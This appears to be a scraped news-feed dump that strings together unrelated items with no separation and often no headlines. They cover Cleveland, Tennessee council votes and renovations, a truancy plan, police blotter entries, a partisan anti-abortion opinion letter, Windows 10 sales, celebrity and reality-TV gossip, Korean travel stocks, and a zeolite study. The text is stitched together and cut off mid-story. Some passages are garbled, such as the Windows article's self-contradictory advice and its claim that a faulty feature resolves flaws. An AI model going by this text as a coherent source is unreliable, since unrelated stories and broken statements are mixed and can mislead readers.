After a recess, there was a new motion that passed 7-0 that has the city buying the building for costs totaling around $800,000, then giving the Cleveland Schools until March 1 to reimburse the city's costs. The city is also asking that the Cleveland Schools going forward pay the city $18,000 per year - the amount of current taxes on the building.

The Cleveland Schools have indicated an interest in refurbishing the building as a new school headquarters.

On the initial vote, those against were Dale Hughes, Sandra McKenzie, David May and Ken Webb. In favor were Tom Cassada, Bill Estes and Avery Johnson.

Councilwoman McKenzie said she had expected that the schools would have had a memorandum of understanding ready with the city by the time of the vote. The schools had expressed interest in the building, but had made no written commitment.

Councilman Hughes said, "Why wouldn't the school board just not commit and say, 'We want it. We've got the money. We'll take it.' "

Councilman Webb said he did not understand why the city was being asked to pay any taxes. Mayor Kevin Brooks noted that if the city had acted a year ago when the present offer was made there would have been no taxes involved.

It was also noted that Mr. Preston, the founder of Life Care Centers of America, in 2016 offered the building to the city at no charge.

Councilman Estes, who had argued strenuously for the deal, was unable to speak when called for his council report just after the vote. A recess was called.

He said earlier, "We can't pay $800,000 for a building that is worth five to six times that amount? It's a good business decision for the city of Cleveland. It's a remarkable offer that is way below market value."

Councilman Estes added, "To me, this is a steal. I don't see how the city of Cleveland can walk away from it. It's a sweet deal."

Dr. Russell Dyer, city school director, said the current headquarters on Mouse Creek Drive was overcrowded with items being stored in portable units. He said central office personnel currently are in five different locations.

He said, "There are a whole lot of ways we can use that building."

The Preston property includes eight acres and is by the greenway. It has 45,000 square feet of space.

Hal Taylor, who heads up school maintenance, said he believes the Cleveland Schools can spend some $1.2 million "to get it up and operable." He said the roof is in good shape and it includes a chiller that is almost new.

Part of the renovation will be removing peeling wallpaper and painting, as well as installing new carpet.

"It's a very usable building," Mr. Taylor said.

Councilman Johnson said education was his prime focus. He said he has been to the current school headquarters and had to dodge boxes in hallways.
State Rep. Kevin Raper has partnered with local education and juvenile court officials in an effort to help reduce student truancy in Cleveland and Bradley County schools.

Rep. Raper met with Tennessee Education Commissioner Penny Schwinn earlier this month to present a proposed progressive truancy intervention program that was drafted by the two school districts along with Bradly County Juvenile Court. The plan was approved by the Tennessee Department of Education with some modifications on Jan. 12.

"As a lifelong educator, I have seen how detrimental truancy can be to a childs education, Rep. Raper said. This updated plan will help keep more students in class by addressing problems with unexcused absences more quickly and without the need for juvenile court intervention.

According to the progressive truancy intervention program, each school would be responsible for contacting the parent/guardian of a student who accumulates five days of unexcused absences. If the student received another unexcused absence after contact was made with their parent/guardian, the Campus Court Mediation process would then begin.

School personnel would meet with the student, their parent/guardian, relevant school personnel and a juvenile court staff moderator. An agreement would be drafted and signed by those individuals involved in the meeting and a review date would be set.

If the student then continued to accumulate one or more unexcused absences, the mediator may recommend any services deemed necessary. Further non-compliance would result in a juvenile court petition for truancy being filed with Bradley County Juvenile Court.

I appreciate Commissioner Schwinns support of our efforts to reduce truancy in our schools, Rep. Raper said. Bradley County Schools, Cleveland City Schools and all of those who work in our juvenile court system do important work, and I want to commend them as well for their dedication to helping our students be more successful.

Following approval from the department of education, the proposed progressive truancy plan must also be approved by each local board of education as required by state law.

Additional information about chronic absenteeism can be found on the Tennessee Department of Educations website.
Hamilton County Schools surprised three teachers on Friday when Superintendent Dr. Justin Robertson stopped by their classrooms to congratulate each of them on being selected grade-level Teachers of the Year for the district.

Marah Smith, a ?rst-grade teacher at Nolan Elementary; Sandra Howard, a sixth-grade english and language arts teacher at Chattanooga High School Center for Creative Arts (CCA); and Chandler Davenport, a history teacher at The Howard School, were recognized for their exemplary work and dedication as teachers and leaders within the school system. Each had previously been named as their schools top teacher for the year.

Dr. Robertson joined with the winners principals and others to make the surprise district-level announcements and thank the honorees for their continued support of Hamilton County students. Following this recognition, these teachers now advance to the state level for Tennessees Teacher of the Year.



The foundation of every great school district is great teachers, said Dr. Robertson. Todays honorees are shining examples of the dedication and commitment we see every day in classrooms all across our district. Im honored to come out and celebrate this achievement with each of these outstanding educators and their schools, and we look forward to recognizing them further in the weeks ahead.

Ms. Smith has taught ?rst grade at Nolan Elementary for four years, but she has been in the Tennessee Education system for 10 years. As an educator, ms. Smith believes in the importance of creating an engaging and fun learning environment for her elementary students. She sets her students up for success by encouraging learning in exciting ways, such as one-on-one tutoring and community connection projects like ?eld trips, which teach students while engaging them with fun activities. Ms. Smith recognizes the importance of building con?dance in her students early in their educational careers to ensure they are excited to come to school and learn in order to set them up for success as they continue their journey beyond her classroom.
Microsoft will stop selling downloads on January 31 in an effort to wind down support for Windows 10 Home and Pro.

However, until it is permanently retired in October 2025, it will continue to provide security updates for Windows 10, Engadget notes.

Microsoft Winds Down On Windows 10 Sales

The January 31 sales deadline was just added to Microsoft's Windows 10 product sites, but it is unclear how the software giant will handle related downloads and licensing keys offered by merchants like Amazon.

"Customers have until January 31, 2023 to purchase Windows 10 Home and Windows 10 Pro from this site," a Microsoft spokesperson says.

Additionally, the spokesperson for the tech giant also urged users to download Windows 11 in place of the widely used Windows 11 instead.

Although Windows 11 has now taken its place, Windows 10 is still one of the top PC operating systems and is present on close to 70% of all Windows machines worldwide.

The Windows 10 product website has been updated to give users the most recent details on Windows 10 purchase options, according to Windows marketing director Amy Bartlow.

While Microsoft is reducing its own Windows 10 sales to customers, it is possible that Windows 10 license keys and even laptops and PCs with the OS preinstalled will still be available from third parties.

It can be remembered that Windows 10 will be retired exactly 10 years after its initial release, which was in 2015.

Just before the release of Windows 11, the company disclosed the end date in June 2021 as part of its "modern lifecycle policy."

The Verge notes that the operating system came after Windows 8, which received harsh criticism for abandoning the customary Start menu and button in favor of an entirely touch-based user interface.

Additionally, Windows 10 was the first version of Windows from Microsoft to be continuously updated, run as a service, and even referred to as "the last version of Windows" at one time.

Read More: Microsoft Ends Service for Multiple Windows 10 21H1 Editions Today

Windows 10 Is Still Receiving Updates From Microsoft

Microsoft's Principal Program Manager Garrett Duchesne recently detailed the most current advancements the business has made in the evaluation of audio and display drivers for Windows 10 and 11.

The new driver assessment approach will examine Software Digital Rights Management (SWDRM) catalog refresh events.

This will aid in resolving related driver timeout problems during the viewing of software-based DRM material on Netflix and other akin applications.

In addition, the company is working to improve how it handles Audio Processing Object (APO; software-based DSP) crashes since the current approach frequently results in Audio Crash measures failing for a while on the driver submission.

According to Neowin, there are problems out there that frequently slip the reader's notice, even as Microsoft keeps working to enhance Windows drivers.

These difficulties can occasionally be traced back to Multiplane Overlay (MPO), a feature that appears to cause a number of display-related issues on both Windows 11 and Windows 10, which can resolve a number of flaws.

These issues include, among others, the white mouse cursor, the blank or white screen, the stuttering, and the flickering.

Related Article: Microsoft Releases 2 Cumulative Updates for Windows 10 22H2, 21H2, 21H1, 1809
Members of the Cleveland City Council were told Monday that a peel back of the interior of the old Cherokee Hotel is uncovering some architectural gems.

The council recently agreed to purchase the old hotel and refurbish it as a new Cleveland City Hall.

Sections of the interior will be demolished as part of the process, but much of the finer points of the 1928 hotel will be retained.

Bryan Turner, project manager, said the original terrazo floor in the lobby was found to be intact along with some original ceiling plaster work.

Mr. Turner said, "Our best find was the marble staircase. He said one section of the staircase had been covered over and "we didn't know it was there."

He said a mezzanine level was uncovered along with a lot of tongue and groove wood.

Mr. Turner said the building as constructed was advertised as fireproof. He said the clay brick walls are in good shape and will be retained.

An elevator goes to the kitchen, where food was cooked and taken to the lobby area. It is planned to have a bakery/deli in that area.

Officials said they plan to use $6.2 million in COVID relief funds for the hotel makeover.

A Request for Proposals has been issued to find an architect on the project.

The city plans to use historic tax credits on the project to help with the funding.

It is hoped to start the renovation in late summer.

City Manager Joe Fivas said the current city hall is overcrowded and does not contain room for four city employees.
Suspicious activity was reported at the Circle K at 3729 Tennessee Ave. The manager told police a black male in coveralls entered the store and went to the beer cooler. The man then grabbed a beer from the cooler and started suspiciously wandering around the store. The manager said she then confronted the man, as she suspected he was attempting to steal the beer. The man then placed the beer on the checkout counter. the manager said she told the man to leave the store. the man left the store and got into a burgundy van and left the area. The manager said she just wanted to report this incident to police.

* * *

A man on Booth Road told police at 12:35 a.m. some woman began banging on his front door, possibly asking for help, but je could not confirm. While banging on his door, the glass shattered and the woman left the area.

* * *

An anonymous caller told police that a black pickup was parked in the roadway at Mountain Creek Road and Morrison Springs Road. Police found a black Toyota Tundra parked on Morrison

Springs Road, with a TN tag, which confirmed stolen from Marion County. The vehicle was left locked, with both front seatbelts fastened and some apparently recent damage to the front right corner (headlight, fender, mirror). No keys were observed with the vehicle. NCIC (through INFO Channel) confirmed the vehicle was still reported stolen from Kimball, Tn. No owner was reached, and Marion County asked to be notified of which wrecker would be used. Gudel's Wrecker was called and the vehicle was towed from the scene. Marion County will be removing the vehicle from NCIC.

* * *

Police received a call from a person who wished to remain anonymous, saying there was a suspicious man camping at the AMC Classic Majestic 12 Movie Theater at .311 Broad St. Police found a black male in a blue tent behind the bushes at the above location. Police identified the man. Due to the man camping on private property during non-business hours with no legal reason to be there, police told the man he had to leave. The man was very reluctant to leave and tried to reason with the police to stay. He was run through the police dispatch information channel, no active warrants were found. After being told by police multiple times to leave, he began to gather his belongings and proceeded to leave the property.

* * *

Security at Chattanooga Fitness Center, 1254 E 3rd St., told police they saw a suspicious person in the parking lot looking into a vehicle. Police spoke with and identified the man, who said he was homeless and thought the car belonged to someone he knew. A warrant check was conducted, showing no active warrants. The man left the area on foot without further incident.

* * *

Police were dispatched to the Speedway, 1330 E 3rd St., on the report of a shoplifter who was still on scene. Police spoke with an employee who said she was approached by a customer who had already left and told her another customer was stealing items. The employee pointed out the man and police identified him. He told police he did not take anything and was waiting for his girlfriend, who was using the restroom. The employee said she did not witness the theft and that it was only second-hand knowledge from a customer. There was no employee on scene who could review the cameras to see if a theft had actually occurred or not. A follow-up at a later date will be conducted.

* * *

A disorder was reported by one of two people at a residence on Talladega Avenue who said they had been in a verbal argument while in the home. Both of them separated to cool down and said they no longer needed police assistance.

* * *

Officers responded to several people reportedly setting up camp under the stairs of St. Paul church. Officers spoke with a church member who said they had refused to leave. Police spoke with the people and they said they were going to attend a service. Officers suggested they collect their belongings and wait across the street until service time. Officers also suggested they not return to set up camp on church property again. They gathered their belongings and left the area.
Sunday was the 50th anniversary of the disastrous Roe v. Wade Supreme Court decision. SInce that day, more than 63,459,781 innocent human lives have been ended by the violence of abortion.

On Sunday, Students for Life of Southeast Tennessee and other local activists gathered in Coolidge Park to remember those lives lost and to demand justice for them. Simultaneously, the pro-abortion organization the New Suffragettes held their own rally demanding that Tennessees Human Life Protection Act be either amended or repealed.

With them was State Rep. Yusuf Hakeem, the sponsor of a house bill that would strip away protections for unborn children conceived in rape or incest.

Another speaker was Allison Gorman, whose pro-abortion extremism garnered her a whopping 42 percent of the vote in the race for State House in the district now represented by strong pro-life champion Greg Martin. As usual, Ms. Gormans speech was full of shameless fear mongering, meaningless slogans and outright lies about Tennessees abortion ban.

Unsurprisingly, in the hours that followed, I was unable to find one single person who could tell me why or how abortion is healthcare. Nobody could show me how supporting abortion fit into the feminist values of equality, non-violence and non-discrimination. What our group of counter-protestors did encounter was a life-size black coffin being carried by six black-clad pallbearers (no sense of irony, these people), a conga line for abortion and, of course, the local Unitarian Universalist church and their Social Justice Committee (because apparently when Jesus said let the little children come to me he didnt mean all the children, or something). We were called rapists and misogynists, our signs were torn, we were stepped on and harassed. Our little group of eight folks was fearless and I could not be more proud of how our activists handled themselves.

Later, after the main group of pro-abortion activists had gone into Mexiville on Cherokee Boulevard, we stayed outside for a few minutes to have a conversation with a woman who was confused about what TNs HLPA said about treatment for ectopic pregnancies. Our conversation was interrupted by two ladies who obnoxiously began to butt in to the conversation. After a few minutes of back and forth, one of the ladies shouted an expletive at us and pulled a clean empty glass bottle out of her purse (yes, you read that right) and smashed it onto the ground directly at our group. My photographer, Michael, got a small piece of glass in his eye. After stealing two signs that my group member Emily was carrying, this individual began to verbally assault Emily. After she stood strong, the violent activist walked away.

Youd think that the same people who espouse bodily autonomy would practice what they preach.

As it turns out, this pro-abortion rally wasnt pro-woman, it wasnt about feminism, it was about abortion, pure and simple.

Click here for video.

William Reynolds

* * *

I hear they are pretty rude to the people still in their mothers womb too. What did you expect from this sort. Forget politics, this is evil versus God.

Psalm 139: 13-16

For you formed my inward parts; you knitted me together in my mother's womb. I praise you, for I am fearfully and wonderfully made. Wonderful are your works; my soul knows it very well. My frame was not hidden from you, when I was being made in secret, intricately woven in the depths of the earth. Your eyes saw my unformed substance; in your book were written, every one of them, the days that were formed for me, when as yet there was none of them.

Michael Burns
The Tennessee Department of Commerce & Insurance and the Tennessee State Fire Marshals Office announce the launch of HEROES (Helping Educate Residents On Safety), a new fire safety education and recognition program.



Created to raise awareness about the importance of home fire safety, HEROES gives licensed real-estate agents and home inspectors fire safety educational materials designed to share information about fire safety when they are in the homes of their clients. In return for sharing these materials, the licensed professionals will get an opportunity to associate their businesses with potentially life-saving fire safety messages each time they are with their clients.



"As Tennessees state fire marshal, I know that raising awareness about the importance of home fire safety will help save the lives of homeowners and Tennessee firefighters, alike said TDCI Commissioner and State Fire Marshal Carter Lawrence. The HEROES program is the perfect synergy between the State Fire Marshals Office and the Division of Regulatory Boards. Giving real-estate agents and home inspectors these memorable, easy-to-remember fire safety messages can help reduce the risk of fire fatalities in our communities and create a safer, stronger Tennessee.



The HEROES program combines the resources of the SFMO with the Division of Regulatory Boards, which regulates over 300,000 professionals through its 26 regulatory programs. Tennessee real-estate agents and home inspectors can participate in the HEROES program by following these simple steps:



 Licensed real-estate agents and home inspectors who are interested in participating should send an email to heroes@tn.gov and provide their contact information including name, mailing address, and current phone number.



 Once our team has verified that the participating individual is actively licensed by TDCI, a free HEROES starter kit will be sent to licensees. Kits include fire safety postcards and magnets that can be personalized with licensees contact information.



 Once participants receive the HEROES kits, theyre encouraged to share their successes and messages via social media channels. The more creative, the better.



As we have seen demonstrated through ten years of success with the Get Alarmed, Tennessee! smoke alarm program, volunteers can make the difference when it comes to helping raise awareness of about fire safety, said Assistant Commissioner for Fire Safety Gary Farley. "I hope that Tennessee real-estate agents and home inspectors will show their commitment to their community by participating in this important program.



For additional information, visit our HEROES page today.
4/12/2023

Over 25,000 people have attended the Rock the Riverfront festival during the past month on the Chattanooga Green in Downtown Chattanooga. Residents and visitors of all ages have enjoyed live ... more
Clevelands Regional Jetport celebrates its 10th anniversary Wednesday with an open house from 2 to 4 p.m.

Former Cleveland Mayor Tom Rowland noted, "The Jetport since its opening has become a major hub and was chosen the states Airport of the Year. This year its Director Mark Fidler was named Tennessee Airport Manager of the Year."

Prior to its opening, the city was served by Hardwick Field, once dubbed by Governor Don Sundquist as the states worst airport.

The new modern facility is now home to numerous corporate jets including Erlanger's Life Force helicopter.

It originally had a 5,000-foot runway and that was extended to 6,200 feet.

The Jetport is currently home to 66 aircraft, including seven jets and three helicopters.

Mr.Fidler said there is a long waiting list for new hangar space.

Over 200 flights a week go out from the Jetport.

Steve Wright is chairman of the Cleveland Municipal Airport with former Mayor Rowland as vice chairman, and members are Ben Chandler, Robby Garrison and Verrill Norwood.
Allison Williams is back in the headlines after a hiatus from the celebrity spotlight. Her new horror movie, M3GAN, is making waves and earning the actor more fans than ever. The Girls and Get Out star has plenty of show-business connections, thanks to her fathers work as a high-profile newsman. Over the years, Williams has spent plenty of time with celebs. In fact, her 2015 wedding was officiated by one of Hollywoods most revered actors: Tom Hanks.

Why did Tom Hanks officiate Allison Williams and Ricky Van Veens wedding?

Ricky Van Veen and Allison Williams in May 2014 in New York City | Kevin Mazur/Getty Images for Spike TV

Allison Wiliams was an up-and-coming actor in 2011 when she began dating American entrepreneur Ricky Van Veen. She was cast in Girls only one year later. The HBO series proved to be Williams big breakout, with critics and fans responding well to her role as Marnie Michaels. As Williams star rose in Hollywood, her romance with Van Veen grew.

In 2014, the two got engaged. Williams and Van Veen tied the knot in 2015 in a private ceremony in Wyoming. According to Vanity Fair, Hollywood legend Hanks officiated the nuptials. His connection to Williams is through Hanks wife, actor Rita Wilson.

Wilson played Williams mother in Girls, apparently forming a bond with the young actor. In addition to Tom Hanks, stars like Lena Dunham, Katy Perry, John Mayer, and Bruce Springsteen attended the wedding. Williams likely met many of these celebrities through news anchor Brian Williams  her father and biggest fan.

Allison Williams and Ricky Van Veen separated in 2019

Allison Williams splits from husband after 4 years of marriage https://t.co/oJWEbfnFpC pic.twitter.com/1dwoZ21Qax  Yahoo Entertainment (@YahooEnt) June 28, 2019

Williams and Van Veen lived a low-key life in New York for a few years during their marriage. But in June 2019, the two released a joint statement announcing their separation. With mutual love and respect, we have made the decision to separate as a couple. We are grateful for the friendship that we have and will continue to have, it read (via People).

While fans wondered what went wrong with the seemingly happy couple, the actor soon found a new love. The same year Williams and Van Veen announced their separation, she reportedly began seeing a fellow actor.

Who is the M3GAN star dating now?

Girls Star Allison Williams and Alexander Dreymon Welcome First Baby https://t.co/MWmqBVEc4N  E! News (@enews) April 25, 2022

After meeting on the set of their 2020 movie, Horizon Line, Allison Williams and German actor Alexander Dreymon moved quickly. They quietly began dating at the end of 2019 and welcomed a son, Arlo, in late 2021. In December 2022, Page Six reported they were engaged. Despite their celebrity relationship, the two actors are extremely private, rarely opening up about their romance and choosing to keep their young son out of the spotlight.

In a recent Vulture interview, Williams revealed the constant struggle of balancing her desire for privacy and choosing projects that make waves with fans. Her latest movie, M3GAN, is well on its way to becoming a cult classic.

Although not as famous as his fiancee, Dreymon is best known for portraying Uhtred in the TV series The Last Kingdom.
A body language expert explained his theory for why some people hate Meghan Markle. During an analysis of the Netflix documentary Harry & Meghan, the expert pinpointed a Meghan moment that illustrates how she rubs people the wrong way.

Meghan Markle | Chris Jackson/Getty Images

Meghan Markle told a story about camping with Prince Harry in Botswana

In a video for The Behavioral Arts YouTube channel, body language analyst Spidey pointed out a moment in the docuseries when Meghan told a story.

In the clip, Meghan spoke about how she and Harry were camping together in Botswana for their third date. They were enjoying their time alone but Meghan had some concerns about how safe they were in the tent. Harry was there to reassure her and protect her.

In retelling the story, she shared her concern about flying to Botswana with Harry. What if we dont like each other? she asked. And then were stuck in the middle of the bush in a tent?

The documentary cut to Meghan and Harry seated together, where she explained the worries she had while camping. In the middle of the night, just I hear this rustling. I see a shadow and Im like, Oh my god. What is that? Its like an elephant munching leaves above the tent, she said. Im like Are we safe? Is this fine? Hes like Were fine. I promise Ill keep you safe.

She added, And I believed him.

Harry interjected, You put a lot of faith and a lot of trust in me.

Spidey pointed out the important thing for him there is that she put faith in him to protect her.

Body language expert gives perspective about how performers speak to children vs. adults

Spidey then gave some background about his experience as a performer and a mentalist. He explained how hes studied magic, mentalism, and performance and pointed out the difference in the way a magician or mentalist will speak to children.

One of them is exaggerated facial expressions, he said, as well as a purposeful shift in cadence and tone. He also noted the use of exaggerated illustrators, or the gestures we make to emphasize our points.

He noted that if someone performing for adults uses the same gestures and tone they use at a kids show, it comes off as very corny, very fake. Spidey explained, Adults do not like to be spoken to the way kids are spoken to. And we know this, we study this. We stay away from this.

Expert shares theory about why some people hate Meghan Markle

The expert then applied that knowledge to the way Meghan talks.

And that distinction, that fact that we know that adults dont like to be spoken to the way children are spoken to, is the reason that I believe a lot of people  even if they dont really know why  do not like Meghan Markle, Spidey shared. Because she speaks the way you would speak to children.

With that information, he returned to the clip to look at the way she told the story about camping with Harry. She whispered and used bigger hand gestures while describing the elephant outside of their tent. Its so emphasized, its so exaggerated, that subconsciously it feels fake, he said.

Spidey continued, And she doesnt only do this when she tells stories, she does this a lot when she talks. The facial expressions are exaggerated, the gestures are exaggerated. But then she might start whispering at some point.

Showbiz Cheat Sheet acknowledges conditions and cultures can impact body language and is sensitive to all backgrounds.
The weddings are over and the honeymoons are about to start for the Married at First Sight Season 16 couples. But one just-wed pair might not be jetting off to Jamaica with the rest of the shows cast. In a teaser for the Jan. 25 episode of MAFS, Shaquille drops a bomb on Kirsten when he tells her that he wants to delay their vacation so he can attend a work conference.

Does Shaquille put work before his marriage in the next episode of Married at First Sight?

So much to unpack here #MAFSNashville pic.twitter.com/uW52W3EMji  Married At 1st Sight (@MAFSLifetime) January 24, 2023

Up until now, Shaquille, 31, has put his career as a university administrator before a romantic relationship. By signing up for Married at First Sight, he was hoping to be matched with an equally ambitious woman who could be his partner in life and in love. He may have found it in Kirsten, a career-focused real estate agent who wants a husband as accomplished as she is. But is Shaquille ready to make space in his life for his spouse? A teaser (via Twitter) for the next episode suggests that might be a challenge for him.

You know Im still in school, Shaquille, who is working to complete his doctorate, tells Kirsten. And I have a research conference this weekend. So I have to present my research. So we are not going to the honeymoon tomorrow. I have to travel to Jackson, Mississippi. So you will be traveling to Jackson, Mississippi, to actually come to class with me.

What? a visibly shocked Kirsten replies.

Are you serious right now? she says to a producer.

Kisten already has doubts about Shaquille

Kirsten and Shaquille from Married at First Sight | MATTHEW KAHN PHOTOGRAPHY

The teaser doesnt show Kirstens full reaction to Shaquilles bombshell. Its possible hes pulling his new wifes leg, but assuming his plan to ditch the trip to the Caribbean for a work conference is real, it will be interesting to see how Kirsten takes the news. Though she has only just met Shaq, he already has a number of strikes against him in her book.

Kirsten  who isnt afraid to admit shes picky  has a lengthy list of things she does and doesnt want in a spouse. Already, shes expressed disappointment in her husbands appearance (she didnt want to be matched with a bald man) and his failure to ask permission to kiss her at the altar. She did seem to like that he had a strong religious faith and was dedicated to his career. But will the latter turn from a plus into a minus if he puts his job ahead of her?

The other Married at First Sight couples prepare for their honeymoons

While Shaquille and Kirsten navigate their first major conflict as a couple, the other Married at First Sight Nashville cast members prepare for their own honeymoons. At least one pair seems to be getting off to a stronger start than Shaq and Kirsten. Nicole makes it clear shes ready to get intimate with her husband Chris.

Think were going to have sex on our honeymoon in Jamaica? she asks him.

I mean Chris starts to reply.

Definitely feeling the romance heating up when you add Jamaica to the equation, she continues, cutting him off.

How will Kirsten respond to Shaquilles proposal to delay their honeymoon? Find out when new episodes of Married at First Sight Season 16 air Wednesdays at 8 p.m. ET on Lifetime.

For more on the entertainment world and exclusive interviews, subscribe to Showbiz Cheat Sheets YouTube channel.
Southern Hospitality Goes off the Rails: Grace Lilly Slut-Shames Mia and Shockingly Drags Her on WWHL

Leva Bonaparte from Southern Charm is literally cringing somewhere in Charleston, South Carolina. Her Southern Hospitality cast members went off the rails on Bravos Watch What Happens Live, which even shocked host Andy Cohen.

The televised broadcast went off without issue. But when a WWHL After Show fan asked Grace Lilly if she regretted calling Mia Alario a slut on the show, she not only didnt regret it, she took the narrative to a new level.

Meanwhile, Joe Bradley and Maddi Reese sat nearby during the explosion looking extremely uncomfortable.

Grace Lilly comes for Mia Alario from Southern Hospitality

Definitely not sorry. Grace said she absolutely has no regrets about calling Mia a slut. Adding on the WWHL After Show, I said what I said and I wont take it back. Charlestons small.

Andy wondered how Mia felt about Graces remark. I think people project what they are insecure about, she said.

TJ Dinch, Bradley Carter, Emmy Sharrett, Mia Alario, Lucia Pena, Leva Bonaparte, Joe Bradley, Mikel Simmons, Maddi Reese, Will Kulp, Grace Lily |Stephanie Diani/Bravo

Grace shot back, No, but youre the same way Mia. What do you mean? You do the same thing, she said. You sleep around with multiple men every weekend. The bike taxi man even got a nickname for you. Its your home address because you take so many men back to your house!

The Southern Hospitality cast didnt go out together last night

By now Maddi and Joe are completely cringing, hoping it stops. But it doesnt. Instead, Grace decided to burn it down.

Your friends all talk s*** about one another, she said to Mia. Thats what you girls do. You are not girls girls. You are literally shady AF and you know what? Thats just what it is. Sorry. People know in Charleston you are fake and you are a slut. Sorry.

Trying to wrangle the conversation back to something productive, Andy asked the foursome if they planned to go out together after the show. Before the fight began they said their plan was to go out. Maddi tried to add some sanity to the situation. We fight so we have to work with each other, she said. So we make up.

But Grace kept the momentum going. We avoided her last night what do you mean? she said about Mia. Groans could be heard from the mostly silent audience. So Andy said to Mia, Im taking you out tonight. We can go out.

Mia said everybody gets it but Grace wanted the final word. No, its literally on the show. Its every day you have a new man. And you wanna say you can take my man? Girl, you cant even keep a man.

The WWHL After Show had more than one cringy Southern Hospitality conversation

While Andy admitted the conversation took a turn before signing off, he didnt even address the other elephant in the room between Maddi and Joe.

After an extremely awkward conversation with Maddis boyfriend Trevor on the show, Joe was asked how he felt about Maddi and Trevor moving in together.

#SouthernHospitality star Mia Alario opens up about being hit on by Shep Rose from #SouthernCharm. ? #WWHL pic.twitter.com/ESDDwWjSsu  WWHL (@BravoWWHL) January 24, 2023

Moving in together is a big step. Ive never done that, he said. And, theyve been together for a while. And then he cheated on her and they separated and they got back together. I just think thats a big step. Im worried about her and Trevor right now to tell you the honest truth, I want the best for her. And I just dont think moving in with him is going to be the best decision. And thats not from me being jealous or anything.

Following that explosive WWHL After Show, the Southern Hospitality night on the town had to be rather  interesting.
gettyimagesbank



By Lee Min-hyung



Tourism and aviation stocks are on track for a robust rally on growing hopes for an end to the pandemic, as authorities here and abroad display signs of easing quarantine measures.



According to data from the Korea Exchange, the nation's representative tourism stocks reported double-digit growth for the first three weeks of January. Shares of Hana Tour, the largest tour agency here, soared by 27.83 percent between Jan. 2 and 20. Modetour, another major tour agency, also enjoyed stock growth of 12.41 percent during the same period. Hana Tour shares closed at 64,900 won on Jan. 20. Modetour's share price also finished with a gain of 2.15 percent at 21,350 won.



This exceeds the benchmark KOSPI's growth of 1.19 percent.



The solid rally of tourism stocks was driven by demand recovery for short-distance overseas tours, particularly to Japan.



Brokerage houses are also revising up target prices of major tourism stocks.



Samsung Securities recently increased the target stock prices of Hana Tour and Modetour to 75,000 won and 30,000 won, respectively. The securities firm expected demand for overseas travel to achieve a solid recovery throughout 2023 and 2024 on gradual hopes for an end to global quarantine measures. It estimated the number of outbound travelers this year to reach about 20 million here, which is around 76 percent of the 2019 figure. The figure is also forecast to keep rising until next year when the number will top 27 million, a rise of 3 percent from 2019.



Stocks in the aviation sector are also key beneficiaries. Shares of major low-cost carriers (LCCs) have reported double-digit growth over the past month. Jin Air closed at 18,100 won on the last trading day, up 19.08 percent from a month earlier. Other LCCs also enjoyed robust rallies in their stock value. Share prices of Air Busan and T'way Air increased by 55.96 percent and 27.47 percent this month alone on demand recovery.



"The number of international flight passengers reached a record monthly high of 4.07 million in December 2022 since the pandemic began, which is about half the number seen during same period in 2019," Eugene Investment & Securities analyst Yang Seung-yoon said. "Local LCCs have rapidly expanded their routes to Japan after travel to the country was normalized last October."


Its that time of year again! The Bachelor returns on Jan. 23, 2023, with Zach Shallcross taking the reigns and 30 new women vying for his heart. Zach first appeared on Gabby Windey and Rachel Recchias season of The Bachelorette, and he actually made it to Rachels top four. However, it ultimately didnt work out, but hes ready for another chance. The new cast of women this season includes Greer Blitzer. Heres everything we know about Greer, including her job, Instagram profile, age, and more.

The Bachelor stars Greer Blitzer. | ABC/Ricky Middlesworth

Who is Greer Blitzer from The Bachelor 2023 with Zach Shallcross?

Greers a Texas gal, born and raised in Houston. However, according to her ABC bio, she decided to take a risk and move to the Big Apple. Greer describes herself as a bold, hilarious woman who isnt afraid to speak her mind, a trait that should serve her well as she tries to stand out in a group of 30 women.

Her bio also adds, Greer is loyal and confident and is looking for a partner who can keep up with her quick wit and big personality. She is a hopeless romantic and is a sucker for forehead kisses.

Bachelor producers always gather some fun facts about the women to add to their bio. Greers include her ability to judge someone by their sushi order, her love for shopping at flea markets, and the fact that nothing embarrasses her. (That last one is probably a blessing considering shes about to appear on national television.)

Let the limo entrances begin. ? We'll see you at the mansion when #TheBachelor premieres Monday on ABC and Stream on Hulu! pic.twitter.com/ACATkP6m3R  The Bachelor (@BachelorABC) January 20, 2023

How old is Greer Blitzer, and what does she do for a living?

Greer is 24 years old, and she works as a Medical Sales Representative. We did some extra sleuthing and found her LinkedIn profile. According to LinkedIn, Greer worked as an Account Executive for a company called InMode, selling aesthetic biotech to physicians in the Northeast. However, her employment there ended in August of 2022.

The profile also lists Greer as obtaining her Bachelors Degree from the University of Mississippi. While there, Greer joined the Pi Beta Phi sorority and was actually in the sorority at the same time as fellow Bachelor contestant Gabi Elnicki.

Where to find Greer Blitzer on Instagram

Greer can be found on Instagram under the handle @cheerio_greerio. She has over 5,000 followers and posts throwback photos, family pics, and lots of selfies. She also used the platform to announce her debut on this season of The Bachelor.

In one of her recent posts, Greer writes, Does this count as a hard launch? #TheBachelor premieres January 23 on ABC.

Clearly, Greers just as excited as we are for the upcoming season of The Bachelor with Zach.

He's here and he's ready to find his soulmate.  Don't miss @zach_shallcross's journey as #TheBachelor starting Monday at 8/7c on ABC and Stream on Hulu! pic.twitter.com/VL2kB3ZAlv  The Bachelor (@BachelorABC) January 20, 2023

What do spoilers suggest for Greer Blitzer during her time on The Bachelor 2023 with Zach Shallcross?

Greer makes one of the most memorable entrances during The Bachelor premiere, according to Reality Steve. The spoiler guru reported in November that Greer invites Zach to do the tortilla slap challenge that circulated on TikTok a few months back.

Reality Steve also says that Greer makes it fairly far in the competition and travels to the Bahamas and Hungary with the group. However, Zach eliminates her right before the Hometown Dates.

The Bachelor with Zach Shallcross premieres on Jan. 23 on ABC.
An international team of researchers with the participation of the Spanish National Research Council (CSIC) has created the most porous stable zeolite known to date, a new pure silica zeolite called ZEO-3. This zeolite was formed by an unprecedented topotactic condensation of a 1D silicate chain to a 3D zeolite. The process is topotactic because the structure of the chain is not altered. It can be applied to remove and recover volatile organic compounds from a gas stream that may even contain water. The discovery, to which scientists from the Institute of Materials Sciences of Madrid (ICMM-CSIC) and the Institute of Nanoscience and Materials of Aragon (INMA-CSIC-UNIZAR) have contributed, is published in the journal Science.

Zeolites are microporous silicates that find an ample variety of applications as catalysts, adsorbents, and cation exchangers. Stable silica-based zeolites with increased porosity are in demand to allow adsorption and processing of large molecules, "but challenge our synthetic ability", explains Miguel Camblor, researcher at ICMM and one of the correspondening authors of the research.

